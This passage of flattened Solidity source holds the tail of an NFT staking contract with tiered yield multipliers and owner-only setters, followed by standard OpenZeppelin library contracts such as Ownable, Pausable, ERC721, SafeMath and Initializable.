legendries. * @param tokenIds is the list of held tokens to check for. */ function _adjustLegendaryMultiplierForPassiveYeild( uint16[] memory tokenIds, address account ) internal { legendariesUnstaked[account] = 0; for (uint256 i = 0; i < tokenIds.length; i++) { if (isLegendary(tokenIds[i])) legendariesUnstaked[account]++; } } function _adjustMultiplierForPassiveYeild(uint256 holdings, address account) internal { if (holdings < 5) userHoldingsMultiplier[account] = DAILY_WHALES_BASE_RATE; else { if (holdings >= 5 && holdings <= 9) userHoldingsMultiplier[account] = DAILY_WHALES_RATE_TIER_1; else if (holdings >= 10 && holdings <= 19) userHoldingsMultiplier[account] = DAILY_WHALES_RATE_TIER_2; else if (holdings >= 20 && holdings <= 39) userHoldingsMultiplier[account] = DAILY_WHALES_RATE_TIER_3; else if (holdings >= 40 && holdings <= 79) userHoldingsMultiplier[account] = DAILY_WHALES_RATE_TIER_4; else userHoldingsMultiplier[account] = DAILY_WHALES_RATE_TIER_5; } } // ----------------------- PASSIVE REWARDS ACCOUNTING ------------------------- // function getDailyYield(address account) external view returns (uint256) { uint256 yeild = (totalBluesStakedPerAddress[account] * userMultiplier[account]); yeild += (legendryHoldingsPerUser[account] * DAILY_WHALES_RATE_LEGENDRY); return yeild; } function getOcean() external view returns (address[5600] memory) { return ocean; } function setBlues(address _blues) external onlyOwner { Blues = IERC721(_blues); } function setWhales(address _whales) external onlyOwner { Whales = IWhales(_whales); } function setStakingPaused(bool _state) external onlyOwner { stakingPaused = _state; } // only owner function setPaused(bool _paused) external onlyOwner { if (_paused) _pause(); else _unpause(); } function mintForTesting(uint256 amount, address addr) external onlyOwner { Whales.mint(addr, amount); } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external pure override returns (bytes4) { return this.onERC721Received.selector; } function setBluesV2(address _blues_v2) external onlyOwner { Blues_V2 = IBlues(_blues_v2); } function setSeedTimestamp(uint256 seed) external onlyOwner { seedTimestamp = seed; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal onlyInitializing { __Pausable_init_unchained(); } function __Pausable_init_unchained() internal onlyInitializing { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal onlyInitializing { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal onlyInitializing { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of 